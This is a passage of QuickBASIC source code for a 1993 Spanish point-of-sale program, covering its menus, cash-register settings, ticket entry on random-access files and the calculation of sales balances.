help$(3) = "Agregar/edit/supr Transacciones" + help$(4) = "Ver e imprimir clientes" + help$(5) = "Fijar color en pantalla" + help$(6) = " Ayuda " + + DO + NewChoice = Menu((Choice), 6, Choice$(), menuRow(), menuCol(), help$(), true) + LOOP WHILE NewChoice = 0 + Choice = NewChoice + RETURN + +MenuSystemFile: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Ficheros " + Choice$(2) = " Status " + Choice$(3) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + + help$(1) = "Operaciones de Configuraci¢n" + help$(2) = "Status actual" + help$(3) = "Salir del T.P.V." + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + + Choice$(1) = " Eliminar Fich. " + Choice$(2) = " Vendedores " + Choice$(3) = " Caja (S/N) " + + menuRow(1) = 5: menuCol(1) = 6 + menuRow(2) = 6: menuCol(2) = 6 + menuRow(3) = 7: menuCol(3) = 6 + + help$(1) = "Eliminaci¢n de ficheros..." + help$(2) = "Agregar/Editar/Eliminar Vendedores" + help$(3) = "Configurar Caja registradora" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1: Elif + CASE 2 + don = 2 + GOSUB empresa + Vende (SubChoice) + don = 0 + CASE 3 + ON ERROR GOTO ErrorCaj + + OPEN "Caja.cfg" FOR INPUT AS #1 + INPUT #1, act$ + CLOSE + + Box 8, 13, 14, 69 + center 11, "¨Hay una caja registradora instalada" + center 12, "en el puerto RS232?" + LOCATE 13, 15: PRINT "Actual: ", act$ + center 14, " <ÄÙ Cambiar" + kbd$ = INKEY$ + WHILE kbd$ = "": kbd$ = INKEY$: WEND + IF kbd$ <> CHR$(13) THEN RETURN + LOCATE 13, 15: INPUT "Nuevo: ", act$ + IF UCASE$(RTRIM$(LTRIM$(act$))) <> "S" THEN act$ = "N" + + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, act$ + CLOSE + + + CASE ELSE + END SELECT + + + CASE 2: Staul + CASE 3: finished = true + CASE ELSE + END SELECT + RETURN + + + + +MenuSystemEdit: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Altas " + Choice$(2) = " Editar/Modificar " + Choice$(3) = " Buscar " + Choice$(4) = " Eliminar " + Choice$(5) = " Imprimir (1, 2) " + + menuRow(1) = 3: menuCol(1) = 9 + menuRow(2) = 4: menuCol(2) = 9 + menuRow(3) = 5: menuCol(3) = 9 + menuRow(4) = 6: menuCol(4) = 9 + menuRow(5) = 7: menuCol(5) = 9 + + help$(1) = "Agregar Proveedores" + help$(2) = "Editar/Modificar Proveedores" + help$(3) = "Busqueda de Proveedores" + help$(4) = "Eliminar Proveedores" + help$(5) = "Imprimir lista individual o r pida" + + SubChoice = Menu(1, 5, Choice$(), menuRow(), menuCol(), help$(), false) + SELECT CASE SubChoice + CASE 1 TO 5 + + CHAIN "Proveed" + + END SELECT + + RETURN + + +MenuSystemAccount: + don = 0 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Compras " + Choice$(2) = " Referencias " + Choice$(3) = " Imprimir (1) " + Choice$(4) = " Imprimir (2) " + + menuRow(1) = 3: menuCol(1) = 26 + menuRow(2) = 4: menuCol(2) = 26 + menuRow(3) = 5: menuCol(3) = 26 + menuRow(4) = 6: menuCol(4) = 26 + + help$(1) = "Agregar/Eliminar/Editar Compras" + help$(2) = "Agregar/Eliminar/Editar Referencias" + help$(3) = "Imprimir Compras del mes" + help$(4) = "Imprimir Referencias" + + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + item% = SubChoice + SELECT CASE SubChoice + CASE 1: vaw = 1: GOTO empresa + CASE 2: vaw = 2: GOTO empresa + CASE 3: vaw = 3: GOTO empresa + CASE 4: vaw = 4: GOTO empresa + END SELECT +RETURN + +empresa: + boorra = 1 + FOR A = 1 TO 10 + IF Trim$(Account(A).Title) = "" THEN + Choice$(A) = RIGHT$(STR$(A), 2) + ". ------------------- " + ELSE + Choice$(A) = RIGHT$(STR$(A), 2) + ". " + Account(A).Title + END IF + menuRow(A) = A + 4 + menuCol(A) = 32 + help$(A) = RTRIM$(Account(A).Title) + NEXT A + + SubChoice = Menu(1, 10, Choice$(), menuRow(), menuCol(), help$(), false) + boorra = 0 + + IF SubChoice > 0 THEN + IF Choice$(SubChoice) = RIGHT$(STR$(SubChoice), 2) + ". ------------------- " THEN + Box 17, 5, 21, 75 + center 19, "Esa empresa no EXISTE, ¨Desea crearla?" + DO: + K$ = INKEY$ + LOOP WHILE K$ = "" + + IF K$ = "s" OR K$ = "S" THEN + Box 17, 5, 21, 75 + center 18, "Introduzca el nombre de la Empresa" + emp$ = GetString$(19, 7, "", end$, 20, 20) + 'end$ contiene la informacion + Account(SubChoice).Title = end$ + SaveState + + ELSE + Box 17, 5, 21, 75 + center 19, "Escoja una empresa" + GOTO empresa + + END IF + END IF + item% = SubChoice + IF vaw = 2 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de REFERENCIAS" + CHAIN "ref#" + END IF + + IF vaw = 1 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de COMPRAS" + CHAIN "compras" + END IF + IF vaw = 3 THEN ImpComp (SubChoice) + IF vaw = 4 THEN ImpRef (SubChoice) + + + END IF + IF don = 2 THEN RETURN + GOTO MenuSystemMain + + + +MenuSystemReport: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Ticket " + Choice$(2) = " Balance " + Choice$(3) = " Stock actual " + + menuRow(1) = 3: menuCol(1) = 39 + menuRow(2) = 4: menuCol(2) = 39 + menuRow(3) = 5: menuCol(3) = 39 + + help$(1) = "Ticket, comenzar a fichar" + help$(2) = "Total Vendido, dia, mes" + help$(3) = "Ver o imprimir Stock actual" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + don = 2 + SELECT CASE SubChoice + CASE 1 + GOSUB empresa + Ticket (SubChoice%) + CASE 2 + GOSUB empresa + Balan (SubChoice%) + CASE 3 + GOSUB empresa + Stock (SubChoice%) + CASE ELSE + END SELECT + RETURN + +MenuSystemColors: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Monocrom tico " + Choice$(2) = " Cyan/Azul " + Choice$(3) = " Azul/Cyan " + Choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 50 + menuRow(2) = 4: menuCol(2) = 50 + menuRow(3) = 5: menuCol(3) = 50 + menuRow(4) = 6: menuCol(4) = 50 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +help: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Uso de la ayuda " + Choice$(2) = " Sobre los Men£s " + Choice$(3) = " Grabaci¢n de Datos " + Choice$(4) = " Acerca de... " + + menuRow(1) = 3: menuCol(1) = 57 + menuRow(2) = 4: menuCol(2) = 57 + menuRow(3) = 5: menuCol(3) = 57 + menuRow(4) = 6: menuCol(4) = 57 + + help$(1) = "Uso de la ayuda en Personal Financial" + help$(2) = "Ayuda en los men£s" + help$(3) = "Modo de grabar los Datos" + help$(4) = "Creditos del Personal Financial" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + RETURN + CASE 2 + RETURN + CASE 3 + RETURN + CASE 4 + Box 9, 10, 16, 70 + center 10, "T E R M I N A L P U N T O de V E N T A" + center 12, "by" + center 14, "Jos‚ David Guill‚n (c) 1993" + center 16, "Pulse una tecla" + SLEEP + CASE ELSE + END SELECT + RETURN + + + + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors%(5, ColorPref), colors%(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + center 25, help$ +END SUB + +'SaveState: +' Save color preference and account information to "Personal.cfg" data file. +SUB SaveState + OPEN "Personal.cfg" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + FOR A = 1 TO 19 + PRINT #2, Account(A).Title + NEXT A + + CLOSE #2 +END SUB + +'ScrollDown: +' Call the assembly program to scroll the screen down +SUB ScrollDown + DEF SEG = VARSEG(ScrollDownAsm(1)) + CALL Absolute(VARPTR(ScrollDownAsm(1))) + DEF SEG +END SUB + +'ScrollUp: +' Calls the assembly program to scroll the screen up +SUB ScrollUp + DEF SEG = VARSEG(ScrollUpAsm(1)) + CALL Absolute(VARPTR(ScrollUpAsm(1))) + DEF SEG +END SUB + +SUB Staul + +END SUB + +SUB Stock (EEE%) + +END SUB + +SUB Ticket (e%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155) + + + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que guardar ticket del d¡a." + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + help$(1) = "Vendedor 1 a 9 " + help$(2) = "Referencia " + help$(3) = "Producto " + help$(4) = "Unidades " + help$(5) = "P.V.P. (Unidad) " + + Col(1) = 2: vis(1) = 3: max(1) = 1 + Col(2) = 9: vis(2) = 6: max(2) = 6 + Col(3) = 19: vis(3) = 22: max(3) = 22 + Col(4) = 43: vis(4) = 5: max(4) = 3 + Col(5) = 51: vis(5) = 10: max(5) = 8 + + + 'Open random access file + + file$ = "T-" + dia$ + mes$ + "." + Cvit$(e) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + CurrFig#(6) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + A = 1 + + WHILE A <= MaxRecord + GET #1, A + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(A) + A = A + 1 + WEND + + GOSUB CargaReferencias + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 2, 1, 21, 80 + Box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(Account(e%).Title); + 'LOCATE 1, 63: PRINT "Fecha: "; + 'LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " No. ³ Ref# ³ Concepto ³ Und ³ P.V.P. ³ Total " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "##,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + GOSUB EditPrintWholeScreen + bajabarra = 0 + + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditGetLine + + finished = false + + GOSUB EditPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN + PRINT USING u6$; CurrFig#(2); + ELSE + PRINT SPACE$(vis(2)); + END IF + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN + PRINT LEFT$(CurrString$(1), vis(2)); + ELSE + PRINT SPACE$(vis(2)) + END IF + + + CASE 3 + IF CurrFig#(3) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(3); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 4 + IF CurrFig#(4) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(4); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 5 + IF CurrFig#(5) <> 0 THEN + PRINT USING u2$; CurrFig#(5); + ELSE + PRINT " "; + END IF + + CASE 6 + IF CurrFig#(6) <> 0 THEN + PRINT USING u2$; CurrFig#(6); + ELSE + PRINT " "; + END IF + + + END SELECT + + RETURN + + +EditEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + + CASE 1 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 1001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + + + DO + + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cc#(b) + CurrFig#(5) = Cd#(b) + CurrFig#(6) = Ce#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + Box 16, 24, 19, 49 + IF TopeRef# = 999 THEN + LOCATE 17, 25: PRINT " Lo siento, referencias " + LOCATE 18, 25: PRINT "AGOTADAS, elimine alguna" + ELSE + LOCATE 17, 25: PRINT "Esa Referencia no existe" + LOCATE 18, 25: PRINT "¨ Desea crearla ? (S/N) " + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + IF i$ = "s" OR i$ = "S" THEN + Valpu = 0 + TopeRef# = TopeRef# + 1 + GraDat = 1 + GraCurrDat = CurrTopline + CurrRow - 1 + ELSEIF i$ = "n" OR i$ = "N" THEN CurrFig#(2) = 0 + + END IF + END IF + END IF + + + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 2 + + + + IF Valpu = 0 THEN + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + + IF CurrFig#(4) <= 100# AND new3# <= 601# OR new3# <= 0 THEN EXIT DO + + IF CurrFig#(4) > 100# AND new3# <= 11 OR new3# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(3) = new3# + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 4 + + IF Valpu = 0 THEN + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + + IF CurrFig#(3) <= 10 AND new4# <= 601 OR new4# <= 0 THEN EXIT DO + IF CurrFig#(3) > 10 AND new4# <= 101 OR new4# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(4) = new4# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 5 + IF Valpu = 0 THEN + + start$ = kbd$ + old3# = CurrFig#(5) + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5# < 0 + A = CurrRecord + + CurrFig#(5) = new5# + + END IF + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 6 + IF Valpu = 0 THEN + + start$ = kbd$ + old4# = CurrFig#(6) + DO + kbd$ = GetString$(CurrRow + 4, Col(6), start$, new$, vis(6), max(6)) + new6# = VAL(new$) + start$ = "" + LOOP WHILE new6# >= 75001# OR new6# < 0 + A = CurrRecord + + CurrFig#(6) = new6# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE ELSE + END SELECT + + GOSUB EditPrintLine + + RETURN + +EditMoveUp: + Valpu = 0 + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditGetLine + GOSUB EditPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditGetLine + END IF + GOSUB PrintBalan + RETURN + +EditMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditGetLine + GOSUB EditPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditGetLine + END IF + END IF + GOSUB PrintBalan + RETURN + +EditPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³" + CurrString$(1); ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + + IF CurrFig#(6) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(6); ELSE PRINT "³ "; + PRINT "³"; + PRINT USING u3$; Balance#(CurrRecord); + + IF bajabar <> 1 THEN GOSUB EditPrintBalances + + +END IF + +RETURN + +EditPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR A = 1 TO 16 + CurrRecord = CurrTopline + A - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + A, 66 + PRINT USING u3$; Balance#(CurrTopline + A - 1); + END IF + NEXT A + +PrintBalan: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + Box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditDeleteRecord: + bajabar = 1 + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + A = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE A <= MaxRecord + GET #1, A + 2 + PUT #1, A + 1 + + Balance#(A) = Balance#(A + 1) + A = A + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditMoveUp + END IF + bajabar = 0 + GOSUB EditGetLine + + END IF + RETURN + +EditAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + A = MaxRecord + + tb = 0 + WHILE A > CurrRecord + + GET #1, A + 1 + PUT #1, A + 2 + + Balance#(A + 1) = Balance#(A) + + A = A - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + + GOSUB EditGetLine + RETURN + +EditPrintWholeScreen: + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditGetLine + END IF + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditPutLine: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #1, CurrRecord + 1 + +IF GraCurrDat = CurrRecord THEN + + file2$ = "Ref#." + Cvit$(e%) + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + LSET IRf$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IDsc$ = CurrString$(1) + LSET ICC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IPVP$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IPC$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #2, TopeRef# + LSET vld$ = "SI" + LSET IMxRcrd$ = LTRIM$(RTRIM$(STR$(TopeRef#))) + PUT #2, 1 + + TopeRef# = VAL(IMxRcrd$) + + Ca#(TopeRef#) = CurrFig#(2) + Cb$(TopeRef#) = CurrString$(1) + Cc#(TopeRef#) = CurrFig#(4) + Cd#(TopeRef#) = CurrFig#(5) + Ce#(TopeRef#) = CurrFig#(6) + + CLOSE #2 +END IF + + + RETURN + + +EditGetLine: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + dia$ = IoDia$ + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoUnd$) + CurrFig#(4) = VAL(IoCC$) + CurrFig#(5) = VAL(IoPvp$) + CurrFig#(6) = VAL(IoPc$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + + RETURN + + +CargaReferencias: + +CLS +Box 14, 28, 17, 51 + +center 15, "Cargando referencias" +center 16, "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(e%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS 